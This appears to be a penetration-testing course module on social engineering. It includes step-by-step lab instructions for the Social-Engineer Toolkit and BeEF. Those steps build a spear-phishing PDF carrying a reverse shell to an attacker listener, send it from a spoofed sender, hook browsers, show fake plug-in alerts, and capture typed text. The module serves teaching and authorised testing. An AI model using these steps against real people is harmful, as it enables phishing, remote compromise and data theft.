Social Engineering Attacks

Introduction

Cyber attacks are increasing rapidly, and penetration testers must understand threat actors' tactics to improve their skills. This module focuses on common attacks, beginning with social engineering - the exploitation of the human element. You'll explore methods like phishing, vishing, pharming, spear phishing, and whaling, along with techniques such as elicitation, interrogation, impersonation, and influence strategies. The module also covers shoulder surfing and tricks like the "USB key drop," showing how attackers manipulate users to compromise systems.

What Will I Learn in This Module?

- Pretexting for an Approach and Impersonation
    - Explain how pretexting is used in social engineering attacks
- Social Engineering Attacks
    - Explain different types of social engineering attacks
- Physical Attacks
    - Explain different types of physical attacks
- Social Engineering Tools
    - Explain how social engineering attack tools facilitate attacks
- Methods of Influence
    - Explain how social engineering attacks enlist user participation

Pretexting for an Approach and Impersonation

Influence, interrogation, and impersonation are key components of social engineering. ***Elicitation*** is the act of gaining knowledge or information from people. In most cases, an attacker gets information from a victim without directly asking for that particular information.

Pretexting, or ***impersonation***, is when attackers pose as someone else to gain information. It can be as simple as pretending to be a colleague or as complex as creating a fake identity to manipulate others.

Social engineers often impersonate people in specific roles, even without real experience, to trick targets into sharing data.

Social Engineering Attacks

Email Phishing

Phishing is when attackers send links or attachments that appear legitimate. Once clicked, users are tricked into revealing sensitive information like usernames and passwords.

Spear Phishing

Spear phishing is a targeted form of phishing aimed at specific individuals or organizations. Attackers study their victims to craft emails that look authentic, often appearing to come from trusted colleagues or company sources.

Whaling

Whaling is a specialized phishing attack aimed at high-profile executives or key company figures. Unlike regular phishing, whaling emails and web pages are crafted to look like critical business communications from trusted authorities. These attacks often mimic executive-level correspondence to trick CEOs or managers into revealing sensitive data or installing malware. The ultimate goal is to steal valuable information and compromise systems, enabling attackers to target other high-profile victims.

Vishing

Vishing, or voice phishing, is a phone-based social engineering attack where attackers trick users into revealing personal or financial information. Common targets include credit card numbers and Social Security numbers, often used for identity theft. To appear legitimate, attackers may impersonate trusted individuals and spoof caller IDs.

Short Message Service (SMS) Phishing

SMS phishing (also known as ***smishing***) uses text messages instead of email to trick victims into clicking malicious links or downloading malware. Attackers often spoof trusted entities like banks, social media platforms, or retailers. To stay safe, never click on unexpected links. If you receive a suspicious message - such as one claiming a problem with an order or account - verify directly through the company's official website or by calling your bank. Messages promising prizes are almost always smishing attempts.

Universal Serial Bus (USB) Drop Key

A ***USB drop*** attack involves leaving infected USB drives in public places, tricking users into plugging them in and unknowingly installing malware. Sometimes attackers add personal touches, like a keychain with photos or real keys, to make victims more likely to insert the device and try to return it. This simple tactic can lead to severe security breaches.

Watering Hole Attacks

A ***watering hole attack*** targets websites frequently visited by victims. Attackers compromise these sites with malicious code that redirects users to exploit pages (this redirection is also known as a ***pivot attack***), aiming to infect systems and gain network access for espionage or other purposes. Such attacks often focus on specific organizations. To defend against them, companies should update anti-malware tools, use secure virtual browsers, regularly scan their websites for vulnerabilities, and educate users on safe practices.

Physical Attacks

Overview

Physical security is often neglected, yet even strong cybersecurity can fail if attackers gain physical access to facilities, networks, or systems.

As a penetration tester or red teamer, you may be tasked with simulating these threats by testing entry points, perimeter defenses like surveillance and fencing, and employee awareness of unauthorized access. This section explores common physical attack methods used to compromise organizations.

Tailgating

Piggybacking occurs when an unauthorized person enters a restricted area with an authorized person's consent, while ***tailgating*** happens without consent. Both can be prevented using **access control vestibules** (mantraps), small one-person spaces with two sets of doors—one must close before the other opens. These are common in server rooms and data centers, often paired with multi-factor authentication, such as a card and PIN at the first door and a biometric scan at the second.

Dumpster Diving

Dumpster diving is when someone searches trash or recycling for private information. To prevent leaks, organizations should securely store sensitive documents until no longer needed, then destroy them - typically by shredding, incineration, or using certified third-party services. Dumpster divers may target both paper records and digital media like hard drives or removable storage.

Shoulder Surfing

Shoulder surfing is when someone steals confidential data - like PII or passwords - by watching a victim's screen or keystrokes. Attackers may stand nearby, use binoculars or hidden cameras, and often succeed in crowded areas. Prevention relies on user awareness, training, and tools like privacy screen filters that block side-angle viewing.

Badge Cloning

Attackers can clone access badges using specialized hardware and software, or create fake badges through social engineering to impersonate employees. Sometimes, they don't even need to copy the badge's RF features - just its appearance. Corporate badge designs are often exposed on social media platforms like Twitter, Instagram, and LinkedIn, where employees post photos showing them.

Social Engineering Tools

Social-Engineer Toolkit (SET)

The ***Social-Engineer Toolkit*** (***SET***) is a tool developed by David Kennedy. This tool can be used to launch numerous social engineering attacks and can be integrated with third-party tools and frameworks such as Metasploit. ***SET*** is installed by default in Kali Linux and Parrot Security. However, you can install it on other flavors of Linux as well as on macOS.

You can download SET from https://github.com/trustedsec/social-engineer-toolkit

Steps to create a spear phishing email using ***SET***

1. Launching SET, in terminal type this command: **setoolkit**
2. Select **1**
    a. => **Social-Engineering Attacks**
3. Select **1**
    a. => **Spear-Phishing Attack Vectors**
4. To create a file format payload automatically
    a. select **2**
        i. => **Create a FileFormat Payload**
5. Select **13**
    a. => **Adobe PDF Embedded EXE Social Engineering**
6. To have SET generate a normal PDF with embedded EXE and use a built-in blank PDF file for the attack
    a. select **2**

i. => **Use built-in BLANK PDF for attack**

7. Select **1**
   a. => **Windows Reverse TCP Shell**
8. When SET asks you to enter the IP address or the URL for the payload listener
   a. Select the IP address of your attacking system for example 192.168.88.225
      i. which is the default option since it automatically detects your IP address
      ii. The default port is 443, but you can change it to another port that is not in use in your attacking system.
      iii. In this example, TCP port 1337 is used.
      iv.

```
set:payloads>1
set> IP address or URL (www.ex.com) for the payload listener (LHOST) [192.168.88.225]:
set:payloads> Port to connect back on [443]:1337
```

9. When SET asks if you want to rename the payload
   a. Select **2**
      i. => **Rename the file, I want to be cool**.
         1. enter for *example* chapter2.pdf as the new name for the PDF file
10. Select **1**
    a. => **E-Mail Attack Single Email Address**
11. Select **2**
    a. => **One-Time Use Email Template**
12. Follow along as SET guides you through the steps to create the one-time email message and enter the subject of the email
13. When SET asks if you want to send the message as an HTML message or in plaintext
    a. Select the default => **plaintext**
14. Enter the body of the message by typing or pasting in the text
15. Enter the recipient email address and specify whether you want to use a Gmail account or use your own email server or an open mail relay
16. Enter the "**from**" email address (the spoofed sender's email address) and the "**from name**" the user will see

17. If you selected to use your own email server or open relay
    a. Enter the open-relay **username** and **password** (if applicable) when asked to do so
18. Enter the SMTP email server address and the port number (The default port is 25)
    a. When asked if you want to flag this email as a high-priority message, make a selection
    b. The email is then sent to the victim
19. When asked if you want to set up a listener for the reverse TCP connection from the compromised system, make a selection

Lab - Explore the Social Engineer Toolkit (SET)

Launching SET and Exploring the Toolkit

Load the SET application.

1. Start Kali Linux. Open a terminal session.
2. SET must be run as root.
    a. => Use the **sudo -i** command to obtain persistent root access.

```
┌──(kali㉿Kali)-[~]
└─$ sudo -i
```

3. At the prompt, enter the command **setoolkit** to load the SET menu system.

```
┌──(root㉿Kali)-[~]
└─# setoolkit
```

4. The Social Engineering Toolkit can also be run from the Applications >Social Engineering Tools >social engineering toolkit (root) choice on the Kali menu.
5. If this is the first time that you have run SET, the license terms and conditions are displayed, and an agreement is required. Read the terms carefully.

Do you agree to the terms of service [y/n]: **y**

6. Select from the menu:

    1) Social-Engineering Attacks
    2) Penetration Testing (Fast-Track)
    3) Third Party Modules
    4) Update the Social-Engineer Toolkit
    5) Update SET configuration
    6) Help, Credits, and About

    99) Exit the Social-Engineer Toolkit

    set>
7. At the SET prompt, enter **1** and press Enter to access the **Social-Engineering Attacks** submenu.
8. Select from the menu:

    1) Spear-Phishing Attack Vectors
    2) Website Attack Vectors
    3) Infectious Media Generator
    4) Create a Payload and Listener
    5) Mass Mailer Attack
    6) Arduino-Based Attack Vector
    7) Wireless Access Point Attack Vector
    8) QRCode Generator Attack Vector
    9) Powershell Attack Vectors
    10) Third Party Modules

    99) Return back to the main menu.
9. Select each option to see a brief description of each exploit and what the tool does for each.

Browser Exploitation Framework (BeEF)

Browser Exploitation Framework (BeEF) is a tool that can be used to manipulate users by leveraging XSS vulnerabilities.
You can download BeEF and follow the installation instructions:

- https://beefproject.com/
  or
- https://github.com/beefproject/beef

When running the BeEF tool on a terminal, it starts a web service on port **3000** by default. From there, the attacker can log in to a web console and manipulate users who are victims of XSS attacks.

Lab - Using the Browser Exploitation Framework (BeEF)

Part 1: Load the BeEF GUI Environment

Step 1: Start BeEF

- Open the BeEF application from the Kali **Application** > **All Applications** > **beef start** menu choice
  - The first time BeEF is run, you will be prompted to change the password for the BeEF user
  - Enter **newbeef** as the password (for example)

  $ **sudo beef-xss**
  [sudo] password for kali:
  [-] You are using the Default credentials
  [-] (Password must be different from "beef")
  [-] Please type a new password for the beef user: **newbeef**

- At the end of the command output, BeEF indicates that is opening the BeEF web UI in a new browser window

  [*] Opening Web UI (http://127.0.0.1:3000/ui/panel) in: 5... 4... 3... 2... 1…

- A browser window will open automatically. This is the BeEF interface
- If it does not, open Firefox from the menu bar and enter **http://127.0.0.1:3000/ui/authentication** as the URL
    - Log in to BeEF with the username **beef** and the password **newbeef**

Step 2: Hook the Local Browser to Simulate a Client-Side Attack.

- To use BeEF to exploit a target system, you first have to “hook” the target browser
- You will use the local system as the target in this lab. If you were running an actual penetration test, your reconnaissance would identify web pages that the user may visit often, as in a watering hole attack.
- You would use one of the commonly visited web pages to deliver the “beef hook” JavaScript code. In this lab, you will use a demo web page that is included with the BeEF application.
- Open a new tab in your Firefox browser. Enter the URL **http://127.0.0.1:3000/demos/butcher/index.html**
- The fake web page resembles a simple storefront app. It contains JavaScript code which will run in the browser environment when the page is loaded
- Use CTRL-U in Firefox to view the source code for the HTML page that is displayed
- Return to the browser window that contains the **BeEF Control Panel**. Notice that the information in the **Hooked Browsers** panel on the left side of the screen has changed.
- Click the entry listed under **Online Browsers**
    - There are six tabs under the **Current Browser** choice
    - Open the **Details** tab, to find interesting information that BeEF knows about the target user’s computer and browser

Investigate BeEF Exploit Capabilities

Investigate the Commands and Network Tabs

- Click the **Commands** tab
    - This tab is where modules can be executed against the target browser
    - Expand the command categories in the **Module Tree** pane
        - Notice the color-coded icons next to each function
        - These icons are referred to as “traffic lights”
        - Each command module has a traffic light icon, which is used to indicate the following:
            - Green The command module works against the target and should be invisible to the user
            - Orange The command module works against the target but may be visible to the user
            - White The command module is yet to be verified against this target
            - Red The command module does not work against this target.
- Click the **Network** tab
    - The BeEF console creates a network map displaying the current network topology
    - The other tabs in this category are Hosts and Services

Step 2: Use BeEF to Initiate a Social Engineering Attack

- Click the **Commands** tab in the **BeEF Control Panel**
    - Scroll down to the **Social Engineering** category
    - Open the category. Select the **Fake Notification Bar (Firefox)** choice from the module list
    - The default URL for the malicious plug-in is listed along with the message that will be shown on the browser window
    - The exploit will cause an alert to display on the browser
    - If the user clicks the install button for the fake plug-in, they will be directed to the URL listed

- Change **Plugin URL** to **http://10.6.6.13/**
    - This URL redirects the user to the login screen for the DVWA virtual server
    - The URL can point to any webpage, either locally stored or on the network
    - In a live penetration testing environment, this would be a cloned website, a malicious application download, or a webpage containing a malicious script
- Change the alert text to say **AdBlocker Security Extension is out of date**. **Install the new version now.**
    - Click **Execute** to send the alert to the hooked browser window
- Return to the browser tab that displays **The Butcher** fake web page
    - An alert message is on the Firefox banner area. Click the **Install Plug-in** button on the alert banner
- Close the Firefox browser

Step 3: Use TabNabbing to Display Malicious Website

TabNabbing is a function that redirects the user to a different URL if a browser tab of a hooked browser is idle for a specified length of time

- Open a new instance of Firefox
- Navigate to the BeEF login screen using the URL **http://127.0.0.1:3000/ui/authentication**
- Log in with the username of **beef** and the password of **newbeef**
- Open a new tab and navigate back to **The Butcher** web page at **http://127.0.0.1:3000/demos/butcher/index.html**
- Return to the **BeEF Control Panel** tab
- Select the instance listed under the **Online Browsers** in the **Hooked Browsers** panel
- Open the **Commands** tab
- Expand the **Social Engineering** category
- Scroll down and select **TabNabbing**
- Change the number of minutes to **1**
- Click the **Execute** button to start the exploit
- Remain idle for at least one minute
- Return to the tab that displayed **The Butcher** web page

- In the box at the center of the BeEF Basic Demo screen, type **“This is my secret”**
- Return to the **BeEF Control Panel** tab
- With the entry under Online Browsers selected, select **Logs** from the menu bar
- BeEF logs activity performed in the hooked browser
- The text collected in the **Basic Demo** screen is displayed in clear text
- All activity, including mouse clicks and navigation are recorded in the logs

Call Spoofing Tools

You can very easily change the caller ID information that is displayed on a phone. There are several call spoofing tools that can be used in social engineering attacks. The following are a few examples of call spoofing tools:

- **SpoofApp**: This is an Apple iOS and Android app that can be used to easily spoof a phone number.
- **SpoofCard**: This is an Apple iOS and Android app that can spoof a number and change your voice, record calls, generate different background noises, and send calls straight to voicemail.
- **Asterisk**: Asterisk is a legitimate voice over IP (VoIP) management tool that can also be used to impersonate caller ID.

Methods of Influence

The following are the social engineering motivation techniques/methods of influence:

- **Authority**
    - A social engineer shows confidence and perhaps authority–whether legal, organizational, or social authority
- **Scarcity and Urgency**

    - It is possible to use scarcity to create a feeling of urgency in a decision-making context. Specific language can be used to heighten urgency and manipulate the victim. Salespeople often use scarcity to manipulate clients (for example, telling a customer that an offer is only for today or that there are limited supplies)
- **Social Proof**
    - Social proof is a psychological phenomenon in which an individual is not able to determine the appropriate mode of behavior. For example, you might see others acting or doing something in a certain way and might assume that it is appropriate. Social engineers may take advantage of social proof when an individual enters an unfamiliar situation that he or she doesn't know how to deal with. Social engineers may manipulate multiple people at once by using this technique.
- **Likeness**
    - Individuals can be influenced by things or people they like. Social engineers strive for others to like the way they behave, look, and talk. Most individuals like what is aesthetically pleasing. People also like to be appreciated and to talk about themselves. Social engineers take advantage of these human vulnerabilities to manipulate their victims.
- **Fear**
    - It is possible to manipulate a person with fear to prompt him or her to act promptly. Fear is an unpleasant emotion based on the belief that something bad or dangerous may take place. Using fear, social engineers force their victims to act quickly to avoid or rectify a dangerous or painful situation.